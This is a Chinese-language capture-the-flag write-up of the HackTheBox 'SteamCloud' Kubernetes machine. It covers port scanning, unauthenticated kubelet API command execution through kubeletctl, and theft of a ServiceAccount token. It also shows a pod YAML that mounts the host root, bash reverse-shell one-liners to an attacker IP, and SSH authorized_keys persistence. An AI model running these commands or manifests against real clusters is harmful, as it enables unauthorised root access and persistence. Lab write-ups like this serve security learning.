SteamCloud Writeup

550

概述 (Overview)

HOST: 10.10.11.133

OS: LINUX

发布时间: 2022-02-14

完成时间: 2022-03-22

机器作者: felamos

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Virtualization #Kubernetes #Docker #CommandExecution

攻击链 (Kiillchain)

使用 Nmap 对目标服务器进行开放端口扫描,从返回的指纹信息中识别出 Kubernetes 集群服务。经过简单的测试后发现 kubernetes Proxy API 服务存在未授权访问漏洞,通过命令执行读取到存在 Nginx Pod 中 user flag。进一步读取到的 ServiceAccount 凭证,使用这个凭证创建恶意的容器运行获得 root 身份的交互 shell。完成最终的权限提升。

在这个攻击链中,突显了 Kubernetes Proxy API 服务未授权访问漏洞和容器隔离不足的问题。

枚举(Enumeration)

老样子开头还是使用 Nmap 扫描目标服务的开放端口:

$ nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.133 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 2379/tcp open ssl/etcd-client? 2380/tcp open ssl/etcd-server? 8443/tcp open ssl/https-alt | tls-alpn: | h2 |_ http/1.1 |_ssl-date: TLS randomness does not represent time | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 403 Forbidden | Audit-Id: 3a3dc9b0-e915-4d61-ac71-0e8c05e6379a | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: a33975d3-8b1d-421e-8311-2e8af80cd3a0 | X-Kubernetes-Pf-Prioritylevel-Uid: 4735df19-61d4-4689-83ac-bfc0faefe7fd | Date: Mon, 21 Feb 2022 02:33:27 GMT | Content-Length: 212 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403} | GetRequest: | HTTP/1.0 403 Forbidden | Audit-Id: 02ffa26c-18ec-47b5-82d0-22408e5e728d | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: a33975d3-8b1d-421e-8311-2e8af80cd3a0 | X-Kubernetes-Pf-Prioritylevel-Uid: 4735df19-61d4-4689-83ac-bfc0faefe7fd | Date: Mon, 21 Feb 2022 02:33:21 GMT | Content-Length: 185 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403} | HTTPOptions: | HTTP/1.0 403 Forbidden | Audit-Id: 1cf4e777-9e16-47f0-9791-3fdbae9aaf54 | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: a33975d3-8b1d-421e-8311-2e8af80cd3a0 | X-Kubernetes-Pf-Prioritylevel-Uid: 4735df19-61d4-4689-83ac-bfc0faefe7fd | Date: Mon, 21 Feb 2022 02:33:24 GMT | Content-Length: 189 |_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403} |_http-title: Site doesn't have a title (application/json). | ssl-cert: Subject: commonName=minikube/organizationName=system:masters | Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1 | Issuer: commonName=minikubeCA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-02-18T13:06:45 | Not valid after: 2025-02-18T13:06:45 | MD5: 3af9 1df8 05c7 472c 5adf 67de 9e51 9157 |_SHA-1: 07c0 2ec6 a053 acb1 8e04 da78 58ac 5c5e cd12 67f3 10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) 10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

从结果中可以获知,目标服务器对外暴漏了很多非必要端口。从 22 端口的详情中知道目标服务器系统是 Debian ,而在 8443 端口返回的消息详情中出现了大量 Kubernetes 相关指纹。

kubernetes 集群

通过搜索引擎进行检索 10249、10250、10256 端口,10256 端口是 kubernetes 服务健康状态检查的默认端口,10249 端口是 metrics 服务器要使用的默认端口,10250 端口则是 kubelet API 的 HTTPS 端口。

但不管怎么说,102* 开头的端口均是 kube-proxy 服务的监听端口,而 Kube-proxy 是一个用于实现 Kubernetes 集群中服务负载均衡的代理服务,它会从一个 Pod 向另一个 Pod 进行流量转发。它可以为每个 Kubernetes 服务创建一个虚拟 IP,并监听所有来自外部的请求,将其转发到后端的 Pod 上。

Pod 是可以在 Kubernetes 中创建和管理的、最小的可部署的计算单元。

而 8443 端口返回的内容可以推测是 WEB UI Dashboard 服务,但需要认证且具有 TLS 保护用于远程连接。

$ http --verify=false https://steamcloud.htb:8443 HTTP/1.1 403 Forbidden Audit-Id: 54a300b6-7321-4db8-8954-4256a89dac56 Cache-Control: no-cache, private Content-Length: 185 Content-Type: application/json Date: Mon, 21 Feb 2022 02:52:46 GMT X-Content-Type-Options: nosniff X-Kubernetes-Pf-Flowschema-Uid: a33975d3-8b1d-421e-8311-2e8af80cd3a0 X-Kubernetes-Pf-Prioritylevel-Uid: 4735df19-61d4-4689-83ac-bfc0faefe7fd { "apiVersion": "v1", "code": 403, "details": {}, "kind": "Status", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "metadata": {}, "reason": "Forbidden", "status": "Failure" }

首先来了解下 k8s 的基本组成概念。

image

Kubernetes (K8s)是一个由多个组件组成的容器编排平台,以下是 Kubernetes 的主要组件:

  1. Master 节点:是 Kubernetes 的控制中心,负责集群的管理和调度,包括 API Server、Controller Manager、Scheduler 等组件。
  2. Node 节点:是 Kubernetes 集群中的工作节点,用于运行容器应用,包括 Kubelet、kube-proxy 等组件。
  3. etcd:是 Kubernetes 集群的数据存储组件,用于存储集群的配置信息、状态信息和元数据等。
  4. API Server:是 Kubernetes 集群的核心组件之一,提供集群内各个组件之间的通信接口,并对外提供 RESTful API 接口,用户可以通过该接口对集群进行操作。
  5. Controller Manager:是 Kubernetes 集群的核心组件之一,负责管理集群中的控制器,包括 Deployment、ReplicaSet、Job 等控制器,确保集群中的应用状态符合预期。
  6. Scheduler:是 Kubernetes 集群的核心组件之一,负责将应用调度到合适的 Node 节点上运行,确保集群中的资源得到充分利用。
  7. Kubelet:是运行在 Node 节点上的代理组件,负责管理本地节点上的容器,与 API Server 进行通信,确保应用的运行状态符合预期。
  8. kube-proxy:是运行在 Node 节点上的网络代理组件,负责为容器提供网络代理服务,将集群内部的流量转发到正确的容器上。

立足点(Foothold)

而 Kubernetes 的 API Server 是集群的核心组件,如未能正确配置访问控制,就可能会通过未经授权的方式访问 API Server,从而控制集群或窃取敏感数据。

跟随该类风险,在 GITHUB 上找到了两个利用的 RCE 脚本:

它们的利用方式是相同的,均是对 10250 端口 kubelet API 的 HTTPS 端口进行利用。通过访问路径 /pods 可以获取环境变量、运行的容器信息、命名空间等信息:

$ http --verify=false <https://steamcloud.htb:10250/pods>

850

能成功返回信息则说明未授权访问漏洞存在,接着下一步获取 namespace、pods、containers 的信息后,就可以实现命令执行。

850

因为 /runningpods 取得的结果是 pod 的合集数据,需要根据 securityContext 内容来快速判断高权限、可逃逸的容器:

image

将这些信息组合在一起,最终成功完成命令执行:

run/<namespace>/<pods>/<containers> ------> run/kube-system/kube-proxy-dqhsm/kube-proxy

image

接着就是想办法进行反弹 shell 了,又一顿搜索找到了一个好用的集成利用工具集:github.com/cyberark/kubeletctl.git。我这使用的是 arm 版,需要自己克隆下来后本地编译。

$ env GOARCH=arm64 go build # ./kubeletctl -h Description: kubeletctl is command line utility that implements kuebelt's API. It also provides scanning for opened kubelet APIs and search for potential RCE on containers. You can view examples from each command by using the -h\--help flag like that: kubeletctl run -h Examples: // List all pods from kubelet kubeletctl pods --server 123.123.123.123 ...snip...

550

就这样利用该工具成功获得了 User Flag。

image

权限提升(Privilege Escalation)

接下来就是获取反弹 shell 的过程了,但是一通尝试下来并没有好的进展,各种报错:

# ./kubeletctl_arm64 -s 10.10.11.133 exec "bash -c '/bin/bash -i >& /dev/tcp/10.10.17.64/8081 0>&1'" -p nginx -c nginx -i: -c: line 0: unexpected EOF while looking for matching `'' -i: -c: line 1: syntax error: unexpected end of file command terminated with exit code 1 # ./kubeletctl_arm64 -s 10.10.11.133 exec '/bin/bash -i >& /dev/tcp/10.10.17.64/8081 0>&1' -p nginx -c nginx bash: >: No such file or directory command terminated with exit code 127

看来是行不通了,接续找别的利用方式。

https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-pentesting/kubernetes-enumeration

从文章的内容中获悉可以使用令牌的方式管理 Kubernetes 服务:

image

在 Kubernetes 中,ServiceAccount 是一种授权机制,它提供了在 Pod 内运行的应用程序与 Kubernetes API 进行交互的凭据。如果攻击者能够获取 ServiceAccount 的凭据,那么就可以使用这些凭据来冒充合法的服务,访问和操纵集群内的资源,也可以使用这些凭据来访问其他 Pod 和节点,从而获得更多的凭据和权限,实现横向扩展攻击。通常存储在/var/run/secrets/kubernetes.io/serviceaccount目录中,其中包含了tokenca.crt两个文件。token文件包含用于身份验证的令牌,而ca.crt则是用于验证 API 服务器证书的证书颁发机构的根证书。这些凭据通常由 kubelet、kube-proxy 和容器等 Kubernetes 组件使用。

这部分可以在集群中的 Pod 中找到:

image

# ./kubeletctl_arm64 -s 10.10.11.133 exec "ls /run/secrets/kubernetes.io/serviceaccount" -p nginx -c nginx ca.crt namespace token
  • ca.crt: 用于检查 kubernetes 通信的 ca 证书
  • namespace: 表示当前的命名空间
  • token: 它包含当前 pod 的服务令牌。

接着只需要结合 kubectl(kubernetes-client)工具,就可以对目标服务器的 K8s 集群进行任意操作。如,获取 pod 列表:

$ cat token | xargs -I {} kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token={} get pod

image

提一嘴,可以通过命令设置相关环境变量 $ export KUBECONFIG=<path/to/kubeconfig> 来简便代码,其中 <path/to/kubeconfig> 是包含了 tokenca.crt 的 Kubernetes 配置文件的路径。

先运行 auth can-i --list 命令检查下用户有哪些执行指定操作的权限:

image

可以看到用户具备 获取详情、创建Pod、查看列表 的权限,接下里我们只需要创一个恶意的 Pod 运行反弹 shell 就可以了。

但在创建之前需要知道服务器上拥有的镜像才行,这里可以使用 get pod <pod name> 命令来获取:

$ cat token | xargs -I {} kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token={} get pod nginx -o yaml apiVersion: v1 kind: Pod metadata: annotations: kubectl.kubernetes.io/last-applied-configuration: | {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"co ntainers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"nginx","volumeMounts":[{"mountPath":"/root","na me":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}} creationTimestamp: "2022-03-22T06:49:02Z" managedFields: - apiVersion: v1 fieldsType: FieldsV1 fieldsV1: f:metadata: f:annotations: ...snip...

可以看到,image 对于的是 nginx:1.14.2,根据这些内容就可以创建一个恶意的 Pod 进行运行:

apiVersion: v1 kind: Pod metadata: name: 0x584a-pod namespace: default spec: containers: - name: 0x584a-pod image: nginx:1.14.2 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory automountServiceAccountToken: true hostNetwork: true

需要说明下,这里我是将整个根目录绑定到了自定义 /host 目录进行查看。接着运行 kubectl 命令创建自定义的 Pod:

$ cat token | xargs -I {} kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token={} apply -f test-pod.yaml pod/0x584a-pod3 created $ cat token | xargs -I {} kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token={} get pod NAME READY STATUS RESTARTS AGE 0x584a-pod3 1/1 Running 0 4s nginx 1/1 Running 0 8h $ ./kubeletctl_arm64 pods -s 10.10.11.133 ...snip... ├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 11 │ 0x584a-pod3 │ default │ 0x584a-pod3 │ └────┴────────────────────────────────────┴─────────────┴─────────────────────────┘

再次使用工具对 /host/root 目录内的文件进行查看,现在可以成功读取到 Root Flag 了。

$ ./kubeletctl_arm64 exec -s 10.10.11.133 'ls -ls /host/root' -p 0x584a-pod3 -c 0x584a-pod3 total 4 4 -rw-r--r-- 1 root root 33 Mar 22 06:48 root.txt

获得反弹 shell 也很简单,只需要在构建的 yaml 文件中加上容器执行的指令即可:

apiVersion: v1 kind: Pod metadata: name: 0x584a-pod4 namespace: default spec: containers: - name: 0x584a-pod4 image: nginx:1.14.2 command: ["/bin/bash"] args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.17.64/8081 0>&1"] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory automountServiceAccountToken: true hostNetwork: true

在 kali 上开启监听,运行后成功获得 root 交互 shell。

image

复盘

在 kubeletctl 工具中有一些直达的命令,可以尝试着挖掘挖掘:

image

然后呢,在其他地方看到在获取 shell 会话时,可以通过 cp 结合 sed 来写 ssh 私钥。最开始的时候我也想到了使用这个姿势,可惜没有去具体深入实践,做着做着就忘了。

哎,还是基本功太拉垮了。

简单记录下:

# 因为是走 HTTP 的,所以使用 URL 编码对特殊字符进行转换 $ cat ~/.ssh/id_rsa.pub | sed 's/+/%2b/g' | sed 's/\//\\%2f/g' | sed 's/=/%3d/g' $ cp /root/.ssh/authorized_keys /host/root/.ssh/authorized_keys_back $ echo '0x584a 1234567_tmp' >> /host/root/.ssh/authorized_keys $ sed -i s/1234567_tmp/AAAA..../g /host/root/.ssh/authorized_keys

kubernetes Proxy API 接口:

- 在节点上运行某个容器:/api/v1/proxy/nodes/{name}/run - 在节点上的某个容器中运行某条命令:/api/v1/proxy/nodes/{name}/exec - 在节点上attach某个容器:/api/v1/proxy/nodes/{name}/attach - 实现节点上的Pod端口转发:/api/v1/proxy/nodes/{name}/portForward - 列出节点的各类日志信息:/api/v1/proxy/nodes/{name}/logs - 列出和该节点相关的Metrics信息:/api/v1/proxy/nodes/{name}/metrics - 列出节点内运行中的Pod信息:/api/v1/proxy/nodes/{name}/runningpods - 列出节点内当前web服务的状态,包括CPU和内存的使用情况:/api/v1/proxy/nodes/{name}/debug/pprof - 除此之外,通过访问pod,访问到某个服务接口:/api/v1/proxy/namespaces/{namespace}/pods/{name}/{path:*}

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。